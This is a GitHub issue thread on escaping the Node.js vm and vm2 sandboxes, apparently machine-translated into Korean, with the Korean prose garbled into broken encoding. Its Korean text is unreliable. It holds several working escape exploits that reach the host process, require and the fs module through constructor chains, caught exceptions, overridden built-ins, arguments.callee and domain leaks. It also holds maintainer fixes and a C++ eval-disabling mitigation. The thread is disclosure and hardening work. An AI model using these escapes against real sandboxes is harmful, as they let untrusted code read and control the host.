VM์ ํ์ถํ์ฌ ๋งค์ฐ ๋ฐ๋์งํ์ง ์์ ์์ ์ ์ํํ ์ ์์ต๋๋ค.
๋ ธ๋์ ๊ธฐ๋ณธ VM๊ณผ ๊ด๋ จํ์ฌ ๋ค์ ์์ง๋ฅผ ํตํด ์ฐพ์์ต๋๋ค. https://gist.github.com/domenic/d15dfd8f06ae5d1109b0
๋ค์ 2๊ฐ์ง ์ฝ๋ ์๋ฅผ ์ดํด๋ณด์ธ์.
const VM = require('vm2').VM;
const options = {
sandbox: {}
};
const vm = new VM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);
๊ทธ๋ฆฌ๊ณ :
const NodeVM = require('vm2').NodeVM;
const options = {
console: 'off',
sandbox: {},
require: false,
requireExternal: false,
requireNative: [],
requireRoot : "./"
};
const vm = new NodeVM(options);
vm.run(`
const ForeignFunction = global.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`);
์ด๋ฌํ ์ถ๋ ฅ ์ค ํ๋๋ฅผ ์คํํ๋ฉด ๋ค์์ด ์ถ๋ ฅ๋ฉ๋๋ค.
{ dev: 16777220,
mode: 16877,
nlink: 14,
uid: 502,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 14441430,
size: 476,
blocks: 0,
atime: 2016-06-15T22:20:05.000Z,
mtime: 2016-06-15T22:19:59.000Z,
ctime: 2016-06-15T22:19:59.000Z,
birthtime: 2016-06-09T01:02:12.000Z }
v4.4.5 ๋ฐ v6.2.1 ๋ชจ๋์์ ์ด ๋์์ ๊ฒ์ฆํ์ต๋๋ค.
๋ณด๊ณ ํด ์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค. ์ ๋ vm2์ ์ ๋ฒ์ ์์ ์ด์ฌํ ์ผํ๊ณ ์์ผ๋ฉฐ ์์ฑ๋ ์ปจํ ์คํธ ๋ด๋ถ์ ์ปจํ ์คํธ๋ฅผ ์์ฑํ์ฌ ์ด ๋์๋ฅผ ํด๊ฒฐํ ์ ์์์ต๋๋ค. ์๋๋ฐ์ค๋ฅผ ํ์ถํ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ์๋์ง ํ์คํ์ง ์์ผ๋ฉฐ ์์ง ์ฐพ์ง ๋ชปํ์ต๋๋ค.
const context = vm.createContext(vm.runInNewContext("({})"));
const whatIsThis = vm.runInContext(`
const ForeignFunction = this.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
`, context);
์ฌ๋ผ๊ฐ๋ ค๊ณ ํ์ง๋ง true
์ด๋ฏ๋ก ๋ถ๊ฐ๋ฅํ ๊ฒ ๊ฐ์ต๋๋ค.
this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()
์์์ ์ธ๊ธํ ์ ๊ทผ ๋ฐฉ์์ ์ฌ์ฉํ๊ณ ์์ต๋๋ค.
์ฒซ ๋ฒ์งธ ๋ชฉํ๋ ๋ด ์ฌ์ฉ ์ฌ๋ก์ ํ์ํ ์๋๋ฐ์ค์ ํญ๋ชฉ์ ์ ๋ฌํ ์ ์๋๋ก ๊ทํ์ ์๊ฒฌ์ ์์ ํ๋ ๊ฒ์ด์์ต๋๋ค. ์ด๊ฒ์ด ์๋ชป๋ ๋ฐฉ๋ฒ์ด๋ผ๋ฉด ์ ๋ฅผ ์์ ํด ์ฃผ์ธ์. ํ์ง๋ง ์ด๊ฒ์ด ์ ์ผํ ๋ฐฉ๋ฒ์ธ ๊ฒ ๊ฐ์ต๋๋ค.
const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis);
์ถ๋ ฅ:
Hello World Inside
Hello World Outside
๋ค์์ผ๋ก VM์ ํ์ถํ๋ ค๊ณ ๋ค์ ์๋ํ๊ณ ์ฑ๊ณตํ์ต๋๋ค.
const vm = require('vm');
const log = console.log;
const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
'log': log
});
const userScript = new vm.Script(`
(function() {
const ForeignFunction = log.constructor.constructor;
const process1 = ForeignFunction("return process")();
const require1 = process1.mainModule.require;
const console1 = require1("console");
const fs1 = require1("fs");
console1.log(fs1.statSync('.'));
log('Hello World Inside');
return 'Hello World Outside';
})
`);
const whatIsThis = userScript.runInContext(context)();
console.log(whatIsThis);
์ถ๋ ฅ:
{ dev: 16777220,
mode: 16877,
nlink: 16,
uid: 502,
gid: 20,
rdev: 0,
blksize: 4096,
ino: 14441430,
size: 544,
blocks: 0,
atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside
์๋๋ฐ์ค์์ ๋ค์ ์ฌ๋ผ์ค๋ ๋ฐ ์ฌ์ฉ๋์ง ์๋ ์๋๋ฐ์ค์ ์์ ํ๊ฒ ๋ฌผ๊ฑด์ ์ฃผ์ ํ ์ ์๋ ๋ฐฉ๋ฒ์ ์๋ ๊ฒ ๊ฐ์ต๋๋ค.
๋ฐฉ๋ฒ์ด ์์ต๋๋ค. ๊ฐ์ฒด๋ VM์ ์ปจํ ์คํธ์ ๋ง๊ฒ ์ปจํ ์คํธํ๋์ด์ผ ํฉ๋๋ค. ๋ ๊ฐ์ง ๋ฐฉ๋ฒ์ด ์์ต๋๋ค. ์ด๋ฌํ ๊ฐ์ฒด๋ฅผ ๋ฅ ํด๋ก ํ๊ฑฐ๋ ํ๋ก์๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์๋ก์ด vm2์์ ํ๋ก์๋ฅผ ์ฌ์ฉํ๊ณ ์์ต๋๋ค.
https://github.com/patriksimek/vm2/tree/v3
๋๋ ๋ค๊ฐ์ค๋ ๋ฆด๋ฆฌ์ค๋ฅผ GH๋ก ๋ฏธ๋ค์ต๋๋ค. ์์ง ์งํ ์ค์ด์ง๋ง ์๋ํด์ผ ํฉ๋๋ค.
v3๋ ์์๋์์ต๋๋ค.
'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
'log' : console.log,
},
});
vm.run(`
try {
log.__proto__ = null;
}
catch (e) {
const foreignFunction = e.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const fs = require("fs");
log(fs.statSync('.'));
}
`);
์ด ๋๋์ง ์ก๊ธฐ ๊ฒ์์ ํ๋ ๊ฒ์ ์ผ์ข ์ ํ๋ ์ผ์ ๋๋ค.
@parasyte ๊ฐ์ฌํฉ๋๋ค. ์ ์ฝ๋์ ์คํ๋ก ์ธํด ๋ฐ์ํ์ต๋๋ค. ์ด์ ํด๊ฒฐ๋์์ต๋๋ค.
์์ธ๋ฅผ ์ก๋ ๊ฒ์ ์์ง ๋ง์ญ์์ค.
'use strict';
const {VM} = require('vm2');
const vm = new VM({
'sandbox' : {
boom() {
throw new Error();
},
},
});
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction("return process")();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
boom();
}
catch (e) {
exploit(e);
}
`);
@parasyte ๊ฐ์ฌํฉ๋๋ค. ์์ ๋์์ต๋๋ค. ๊ทํ์ ๊ธฐ์ฌ์ ์ง์ฌ์ผ๋ก ๊ฐ์ฌ๋๋ฆฝ๋๋ค.
๐ +1
@patriksimek ๋ฉ์ง๋ค์!
๋ํ ์ปจํ ์คํธํ๋ ์๋๋ฐ์ค๋ฅผ ๋ฒ์ด๋๋ ๋ฐ ํ์ฉํ ์ ์๋ ์ ์ญ ๋ฒ์์ ํน์ ๊ฐ์ฒด์ ์ก์ธ์คํ ์ ์์ต๋๋ค. ์ด๊ฒ์ VM์ ๊ฐ์ฒด๋ฅผ ์ ๋ฌํ ํ์์กฐ์ฐจ ์์ต๋๋ค.
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Reflect.construct = exploit;
new Buffer([0]);
`);
@๊ธฐ์์ถฉ ์ฟ ! ๋ฐ๊ฒฌํด์ผ ํ ๋ฒกํฐ๊ฐ ๋ง์ด ๋จ์ ์์ด์ผ ํฉ๋๋ค.
@keyosk ๋ค, ์๋ง๋...
BTW @patriksimek ES6์ coffeescript๋ณด๋ค ํจ์ฌ ๋ซ์ต๋๋ค! ๐
@parasyte ๋ค์ ํ ๋ฒ ๊ฐ์ฌํฉ๋๋ค. ์ ๊ฐ ์ฐพ์ ๋ฐฑ๋์ด์ ํจ๊ป ์์ ๋์์ต๋๋ค.
@keyosk ๋๋ ์ฐ๋ฆฌ๊ฐ ๊ทธ๊ฒ๋ค์ ๋ชจ๋ ์ฐพ์ ๊ฒ์ด๋ผ๊ณ ๋ฏฟ์ต๋๋ค.
์ด๊ฑด ์ด๋?
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
Object.assign = function (o) {
return {
'get' : function (t, k) {
try {
t = o.get(t, k);
exploit(t);
}
catch (e) {}
return t;
},
};
};
new Buffer([0]);
`);
@parasyte ์ข์ ์บ์น, ์์ ํ์ต๋๋ค. ๊ฐ์ฌ ํด์.
์ต๊ทผ ํจ์น์์ ์์ ํ ์๋ก์ด ์ ์บ์ ์ด์์ต๋๋ค.
'use strict';
const {VM} = require('vm2');
const vm = new VM();
vm.run(`
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.statSync('.'));
return o;
}
try {
new Buffer();
}
catch (e) {
exploit(e);
}
`);
์ ์ฅ, ๋๋ฌด ๋ฆ๊ฒ ์ผํด์ ์ด์ ์ ์์์ด. ์ฃผ๋ก ๋๋ฅผ ์ํด ๋ช ๊ฐ์ง ๋ณด์ ๋ ธํธ๋ฅผ ์์ฑํ์ต๋๋ค . :)
๊ฐ์ฌํฉ๋๋ค. ์์ ํ์ต๋๋ค.
๊ธ์, ๋๋ ์ง๊ธ๊น์ง NodeVM
์ดํด๋ณด์ง๋ ์์๋ค! ๋ฌธ์ง๋ฌ์ผ ํ ํ๋ฉด์ ์ด ํจ์ฌ ๋ ๋ง์ต๋๋ค. ์ฌ๊ธฐ...
๋ฐ๋ก arguments.callee
๋ฅผ ํตํ ํ์ถ์ ๋ฐ๊ฒฌํ์ต๋๋ค.
'use strict';
const {NodeVM} = require('vm2');
const vm = new NodeVM();
vm.run(`
function getParent(o) {
return o.constructor.constructor('return this')();
}
function exploit(o) {
const foreignFunction = o.constructor.constructor;
const process = foreignFunction('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');
return o;
}
(function () {
exploit(getParent(getParent(arguments.callee.caller)));
})();
`);
๊ธ์, ์ด๊ฒ์ ์ฐ๋ฆฌ์๊ฒ ์ฌ๊ธฐ์ ์ด๊ธฐ ๋ฌธ์ ๋ฅผ ์ง์ ํฉ๋๋ค. ๋ถ๋ช ํ ์๋ก์ด ์ปจํ ์คํธ ๋ด์์ ์์ฑ๋ ์ปจํ ์คํธ๋ก๋ ์ถฉ๋ถํ์ง ์์ต๋๋ค. ์งง์ ๋ฒ์ :
vm.run(`
global.constructor.constructor('return this')().constructor.constructor('return process')()
`);
์์ง ํด๊ฒฐ์ฑ
์ ์ฐพ์ง ๋ชปํ์ต๋๋ค. delete process.mainModule
ํธ์คํธ๋ฅผ ํจ์นํ ์๋ ์์ง๋ง require
๊น์ง ์ฌ๋ผ๊ฐ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ์๋ค๊ณ ํ์ ํฉ๋๋ค.
ํด๊ฒฐ์ฑ ์ ์ฐพ์์ต๋๋ค :-)
์์! ๋น์ ์ ๋ถ์ก๊ณ ์์ด! ;) ์ด๋ฐ ์์ผ๋ก ์ธ๋ํ ๊ฒ์ ๋ํด ์ฌ๊ณผํด์ผ ํฉ๋๋ค. ๋ชจ๋ ์ฒญ์ค์ ์ํด; node.js์ VM ๋ฒ์ ๋ฌธ์ ๋ ํธ์คํธ ๋ฒ์์ ๊ฐ์ฒด์ ๋ํ ์ฐธ์กฐ์ ์์ต๋๋ค(ํ๋กํ ํ์ ์ฒด์ธ์ ํตํด ๋ชจ๋ ํธ์คํธ ๋ฒ์์ ๋ํ ์ฐธ์กฐ๋ฅผ ์ป์ ์ ์์).
constructor
์์ฑ์ ์ฌ์ ์ํ์ผ๋ฏ๋ก ์ด์ ๊ทธ ์๋๋ก ์ด๋ํด์ผ ํฉ๋๋ค.
function getParent(o) {
return o.__proto__.constructor.constructor('return this')();
}
์ฌ๊ธฐ์์ ์ฝ๊ฐ์ ์กฐ์ฌ๋ฅผ ํ๊ณ global.__proto__ === host.Object.prototype
. Object.setPrototypeOf(global, Object.prototype)
๋ฅผ ์ ์ฉํ์ฌ cricle์ ๋ซ์ ์ ์์์ต๋๋ค.
๋ค์ ํ๋ฒ ๊ฐ์ฌํฉ๋๋ค.
@parasyte @patriksimek ์ด ์ต์ npm ๊ฒ์ ๋ฒ์ ์์ ๋ซํ์ต๋๊น?
์, ์ง๊ธ์ ๋ซ์ ์ ์์ต๋๋ค.
FWIW, ์ฐ๋ฆฌ๋ eval
...๋ฅผ ๋นํ์ฑํํ๊ณ ์ฐธ์กฐ๋ฅผ ์๋๋ฐ์ค์ ๋
ธ์ถํ์ง ์๋๋ก ๋งค์ฐ ์ฃผ์ํ์ฌ ์ด ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ์ต๋๋ค.
#include <nan.h>
using v8::Local;
using v8::Context;
NAN_METHOD(enableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(true);
info.GetReturnValue().SetUndefined();
}
NAN_METHOD(disableEval) {
Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
ctx->AllowCodeGenerationFromStrings(false);
info.GetReturnValue().SetUndefined();
}
void Init(v8::Local<v8::Object> exports) {
exports->Set(Nan::New("enableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());
exports->Set(Nan::New("disableEval").ToLocalChecked(),
Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}
NODE_MODULE(vm8, Init)
์ด๊ฒ์ return process
๋ฌธ์์ด์ ํ๊ฐํ ์ ์๊ธฐ ๋๋ฌธ์ ์ด์ค์ผ์ดํ๋ฅผ ๋ฐฉ์งํฉ๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก ํฉ๋ฒ์ ์ธ eval()
๋ฐ ํจ์ ์์ฑ๊ธฐ ์์ฑ์ ํธ์ถ๋ ๋นํ์ฑํ๋ฉ๋๋ค. (์ด๋ฌํ ๊ธฐ๋ฅ์ ์ ์ฉ์ฑ์ ๋ค์ ์์ฌ์ค๋ฝ์ต๋๋ค.)
@parasyte ๋ ๋ช ํ์ฑ์ ์ํด ๋ค๋ฅธ ๊ณณ์์ ๊ตฌํํ ๊ฒ์ ๋๊น? ์๋๋ฉด vm2์ ๊ธฐ์ฌํ ๊ฒ์ด ์์ต๋๊น?
@keyscores ์ด๊ฒ์ ๋ค๋ฅธ ๊ณณ์์ ๊ตฌํ๋์์ต๋๋ค.
์, ๋ค๋ฅธ ๊ณณ์์. ํ์ฌ ์คํ ์์ค ๋ฆด๋ฆฌ์ค ์น์ธ์ ๊ธฐ๋ค๋ฆฌ๊ณ ์๋ ์ ์ฌํ ์๋๋ฐ์ค ํ๋ก์ ํธ๊ฐ ์์ต๋๋ค. ํผ๋์ ๋๋ ค ์ฃ์กํฉ๋๋ค. ๋๋ ๊ทธ ํ๋ก์ ํธ์์ ๊ทผ๋ณธ ๋ฌธ์ ๊ฐ ์ด๋ป๊ฒ ํด๊ฒฐ๋์๋์ง ๋ ผํํ๊ณ ์์์ต๋๋ค.
@parasyte ๋ฆด๋ฆฌ์ค๋ฅผ ์ ๋ฐ์ดํธํ์๊ฒ ์ต๋๊น? ๊ตฌํ์ ๋น๊ตํ๋ ๋ฐ ๊ด์ฌ์ด ์์ต๋๋ค. ๋ชจ๋๊ฐ ์ด๊ธด๋ค๊ณ ์๊ฐํฉ๋๋ค.
@keyscores ์ฃ์กํฉ๋๋ค. ์์ง ๋ณด๊ณ ํ ๋ด์ฉ์ด ์์ต๋๋ค. ์กฐ์ง์ ์๋ชป๋ ๊ณํ์ผ๋ก ์ธํด ์คํ ์์ค ๋ ธ๋ ฅ์ ์ฐ์ ์์๊ฐ ๋จ์ด์ก์ต๋๋ค. :\
์ด๊ฒ์ด ์ฃฝ์ ๋ฌธ์ ๋ผ๋ ๊ฒ์ ์๊ณ ์์ง๋ง ๋ค์๊ณผ ๊ฐ์ ์ฝ๋๋ฅผ ์คํํ ๋ Node์ vm
๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ํด ์๋ ค์ง ์ฐํ๊ฐ ์์ต๋๊น?
javascript
vm.runInNewContext("arbitrary user input here", Object.create(null))
@parasyte : ๊ทธ๋ฅ ํธ๊ธฐ์ฌ์, ์คํํ๊ธฐ ์ ์ ์ธ๋ถ ์ฝ๋ ์๋จ์ global.eval = null;
๋ฅผ ์ฃผ์
ํ์ฌ eval์ ๋นํ์ฑํํ๋ ๊ฒ์ด ์ด๋ป์ต๋๊น?
@Eric24 ์ข์ ์ง๋ฌธ์ ๋๋ค! ์ด ํ๋ ์ ํ ์ด์ ์ ๊ทธ ์ด์ ๋ฅผ ์์ธํ ์ค๋ช ํฉ๋๋ค: https://vimeo.com/191757364 ๋ฐ ์ฌ๋ผ์ด๋ ๋ฐํฌ: https://goo.gl/KxiG73
๊ฐ์ฅ ์ค์ํ ์ ์ JavaScript์์ eval()
๋ฅผ ํธ์ถํ๋ ๋ฐฉ๋ฒ์ ์ฌ๋ฌ ๊ฐ์ง๊ฐ ์์ผ๋ฉฐ global.eval
๋ฐ๊พธ๋ ๊ฒ์ ๊ทธ ์ค ํ๋์ผ ๋ฟ์
๋๋ค. ์ ์ฒด ๋ชฉ๋ก์ ์ดํด๋ณผ ๋์ฏค์ด๋ฉด GeneratorFunction์ผ๋ก ํ๊ฐํ์ ์์ญ์ด ํจ์นํ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ์๊ฒ ๋ ๊ฒ์
๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ฌ๊ธฐ์๋ eval()
๊ฐ ํฅํ ES ๋ณ๊ฒฝ ์ฌํญ์ ์ํด ๋
ธ์ถ๋ ์ ์๋ ๋ฌด์ํ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ํฌํจ๋์ง ์์ต๋๋ค.
๋ฐ๋ผ์ ์คํ ๊ฐ๋ฅํ ์ ์ผํ ์๋ฃจ์ ์ C++๋ฅผ ์ฌ์ฉํ์ฌ V8์์ ํ๊ฐ๋ฅผ ๋นํ์ฑํํ๋ ๊ฒ์ ๋๋ค.
@parasyte : ์๋ฒฝํฉ๋๋ค(ํ๋ ์ ํ ์ด์ ์ ๊ฐ์ฌ๋๋ฆฝ๋๋ค). ๋ฐ๋ผ์ C++ ์ฝ๋๊ฐ vm ๋๋ "ํธ์คํธ ํ๋ก์ธ์ค"์์๋ eval์ ๋นํ์ฑํํฉ๋๊น?
@Eric24 disableEval์ด ํธ์ถ๋๋ ์ปจํ ์คํธ์์ eval์ ๋นํ์ฑํํฉ๋๋ค. ์ด๋ฅผ vm์์ ์คํ๋ ์ ๊ณต๋ ์ฌ์ฉ์ ์์ญ ์ฝ๋์ ์์ ๋ถ๋ถ์ ์ฝ์ ํ๊ณ ์ถ์ ๊ฒ์ ๋๋ค. ๋ํ ํธ์คํธ์์ ์ด๊ฒ์ ์คํํ๊ณ ํด๋น ์ปจํ ์คํธ์์๋ ๋นํ์ฑํํ ์ ์์ต๋๋ค.
@parasyte : ์๊ฒ ์ต๋๋ค. ๊ฐ์ฌ ํด์! ๊ทํ์ ์๋ฃจ์ ์ด ์ด ์ฃผ์ ๋ฅผ ์ฐ๊ตฌํ ํ ๋ฉฐ์น (๋ช ์ฃผ์ ๊ฑธ์ณ)์ด ๋ฐ๊ฒฌ๋ ์ต๊ณ ๋ผ๊ณ ๋งํด์ผ ํฉ๋๋ค.
@Anorov ์ด๊ฒ์ ๋ฉฐ์น ์ ์ ๋ณด๊ณ ๋์์ต๋๋ค: https://github.com/nodejs/node/issues/15673 ์๋๋ฐ์ค์ null ํ๋กํ ํ์
์ด ์๋ ๊ฒฝ์ฐ์๋ VM์ ํ์ถํ ์ ์์ต๋๋ค. ๋๋ฉ์ธ์ด ํ์ฑํ๋ ๊ฒฝ์ฐ์๋ง ๋ฌธ์ ๊ฐ ๋ฉ๋๋ค(๊ธฐ๋ณธ๊ฐ์ ์๋์ง๋ง ๋ชจ๋ ์ข
์์ฑ ๊ณ์ธต ๊ตฌ์กฐ์์ domain
์ฌ์ฉ์ ์ฃผ์).
์ฌ๊ธฐ ํธ๋ฆฌํ ๊ฐ๋ ์ฆ๋ช ์ด ์์ต๋๋ค. ๋ ธ๋ v8.6.0์์ ํ ์คํธ:
// 'use strict';
const domain = require('domain');
const vm = require('vm');
const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;
domain.create().enter(); // Entering a domain leaks the private context into VM
vm.runInNewContext(untrusted, Object.create(null));
์ด์ ๊ฐ์ ๋์์ ์ฃผ์ํ์ญ์์ค. ์ด ์ทจ์ฝ์ฑ ํด๋์ค ๋ก๋ถํฐ ์์ ํ ์ ์ผํ ๋ฐฉ๋ฒ์ eval์ ๋นํ์ฑํํ๋ ๊ฒ์
๋๋ค. ๊ทธ๋ฆฌ๊ณ vm
๋ ํ๊ฐ ๋ฒ์๋ฅผ ๋ฒ์ด๋๋ ๋ค๋ฅธ ๋ฌธ์ ๊ฐ ์์ ์ ์๋ค๋ ์ ์ ์ฃผ์ํ์ญ์์ค.
@parasyte ๊ฐ์ฌํฉ๋๋ค. Python์์ ๋ ธ๋๋ก ์ด ์ฝ๋๋ฅผ ์คํํ๊ณ ์์ต๋๋ค. https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111
๋ค๋ฅธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ( domain
๋๋ ๊ธฐํ)๋ฅผ ๊ฐ์ ธ์ค๊ฑฐ๋ ์ฌ์ฉํ์ง ์์ต๋๋ค. ์ด ์ฝ๋์ ์ ์ฌ์ ์ธ ๋ฌธ์ ๊ฐ ์์ต๋๊น? ๊ฐ๋ฅํ ๊ฒฝ์ฐ Javascript ์ข
์์ฑ(์: vm2)์ด ํ์ํ์ง ์๋๋ก ํ๊ณ ์ถ์ต๋๋ค.
@Anorov ์
์ณ์. ๋๊ตฐ๊ฐ๋ ๋ด๊ฐ ๊ธฐ๋ํ๋ ํ์ด์ง๋ฅผ ๋ชจ๋ฐฉํ ์๋ ์์ต๋๋ค.
๋ด ์คํฌ๋ฆฝํธ๋ Cloudflare๊ฐ ์๋ ๊ฒฝ์ฐ Cloudflare๋ผ๊ณ ์๊ฐํฉ๋๋ค. ๋๋ ๊ณ ๋ ค์ค
์๋ฒ์ IP ์ฃผ์๊ฐ Cloudflare์ ์์ ์ธ์ง ํ์ธ
์ถ๊ฐ ์๋ฐฉ ์กฐ์น.
ํ์ง๋ง ์๊ด์์ด ์ด ์ฝ๋๊ฐ ์์์
Cloudflare ๋ฟ๋ง ์๋๋ผ ์ฌ์ฉ์ ์
๋ ฅ. ์๋๋ฐ์ฑ ๋ฉ์ปค๋์ฆ์ ์์ ํฉ๋๊น?
๋
ธ๋ ์ปค๋ฎค๋ํฐ์ ์ง์ ์ค ์ต๊ณ ์
๋๊น?
2017๋ 10์ 2์ผ ์คํ 10์ 10๋ถ์ "Jay Oster" [email protected]์ด ์์ฑํ์ต๋๋ค.
@Anorov https://github.com/anorov ์ ์๊ฒ ์ต๋๋ค . ๊ทธ๊ฒ ๊ฑฑ์ ๋์ธ์?
CloudFlare(๋๋ MITM)๋
์๋๋ฐ์ค? ํ์ ๊ณต๊ฒฉ์ด์ด์ผ ํ์ง๋ง ๋๋ ๊ทธ๊ฒ์ ์ง๋ฐฐํ์ง ์์ ๊ฒ์ด๋ค.
์์ ํ ๋ฐ์ผ๋ก.โ
๋น์ ์ด ์ธ๊ธ๋์๊ธฐ ๋๋ฌธ์ ์ด๊ฒ์ ๋ฐ๋ ๊ฒ์ ๋๋ค.
์ด ์ด๋ฉ์ผ์ ์ง์ ๋ต์ฅํ๊ณ GitHub์์ ํ์ธ
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 ๋๋ ์์๊ฑฐ
์ค๋ ๋
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.
@์๋ ธ๋กํ :
๋ ธ๋ ์ปค๋ฎค๋ํฐ๊ฐ ์๋ ํ ์๋๋ฐ์ฑ ๋ฉ์ปค๋์ฆ์ ์์ ํ๊ฐ์?
์ ๋์ ์ผ๋กํ์ง. ๊ณต์ ๋ฌธ์ ์์๋ ๋ค์๊ณผ ๊ฐ์ด ๋งค์ฐ ๊ฐ๋ ฅํ๊ฒ ์ธ๊ธํฉ๋๋ค.
์ฐธ๊ณ : vm ๋ชจ๋์ ๋ณด์ ๋ฉ์ปค๋์ฆ์ด ์๋๋๋ค. ์ ๋ขฐํ ์ ์๋ ์ฝ๋๋ฅผ ์คํํ๋ ๋ฐ ์ฌ์ฉํ์ง ๋ง์ญ์์ค.
๊ทธ ๊ฒฝ๊ณ ๋ ์๊ณ ์์ง๋ง ์ค์ฉ์ฑ์ ๋ํด ๋ฌป์ต๋๋ค.
2017๋ 10์ 3์ผ ์คํ 4์ 34๋ถ์ "Cody Massin" [email protected]์ด ์์ฑํ์ต๋๋ค.
@์๋ ธ๋กํ https://github.com/anorov :
์๋๋ฐ์ฑ ๋ฉ์ปค๋์ฆ์ Node ์ปค๋ฎค๋ํฐ์ ์ต์ ์ ๋คํด ์์ ํฉ๋๊น?
์ง์?์ ๋์ ์ผ๋กํ์ง. ๊ณต์ ๋ฌธ์
https://nodejs.org/api/vm.html#vm_vm_executing_javascript ๊ฐ ์ด๊ฒ์ ๋ง๋ญ๋๋ค.
๋งค์ฐ ๊ฐํ ๋ฉ๋ชจ:์ฐธ๊ณ : vm ๋ชจ๋์ ๋ณด์ ๋ฉ์ปค๋์ฆ์ด ์๋๋๋ค. ์คํ์ ์ฌ์ฉํ์ง ๋ง์ญ์์ค.
์ ๋ขฐํ ์ ์๋ ์ฝ๋.โ
๋น์ ์ด ์ธ๊ธ๋์๊ธฐ ๋๋ฌธ์ ์ด๊ฒ์ ๋ฐ๋ ๊ฒ์ ๋๋ค.
์ด ์ด๋ฉ์ผ์ ์ง์ ๋ต์ฅํ๊ณ GitHub์์ ํ์ธ
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 ๋๋ ์์๊ฑฐ
์ค๋ ๋
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.
์ค์ ๋ก ์๋๋ฐ์ฑ ๋ฉ์ปค๋์ฆ์ ์ ๋ขฐํ ์ ์๋ ์ฝ๋์ ๋ํด ์์ ํ์ง ์์ต๋๋ค. ์ด๊ฒ์ด @patriksimek ์ด vm2
๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ฌ ์์ ํ ์๋๋ฐ์ฑ ๋ฉ์ปค๋์ฆ์ ๋ง๋ค๋ ค๊ณ ์๋ํ ์ด์ ์
๋๋ค. ์ด๊ฒ์ด @parasyte ๊ฐ ์ ๋ขฐํ ์ ์๋ ์ฝ๋๋ฅผ ์๋๋ฐ์ฑํ ๋ ๋ค๋ฅธ ์ ๊ทผ ๋ฐฉ์์ ์ฌ์ฉํ์ฌ ์์ ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋ง๋๋ ์์
์ ์ํํ ์ด์
@Anorov ๊ฐ๋จํ ๋งํด์ vm
์๋ง ์์กดํ์ง ๋ง์ญ์์ค. ๊ทธ๋ฌ๋ ๊ทธ๊ฒ์ ์ํ์ ๋จ์ผ ์ธต์ผ๋ก ์ ์ฉํ ๋๊ตฌ์
๋๋ค.
๋๋ vm๊ณผ @parasyte ์์ eval์ ๋นํ์ฑํํ๊ธฐ ์ํด ์ ์๋ C++ ์ฝ๋๋ฅผ ๊ฐ์ง๊ณ
const userfunc = new Function('context',
'"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');
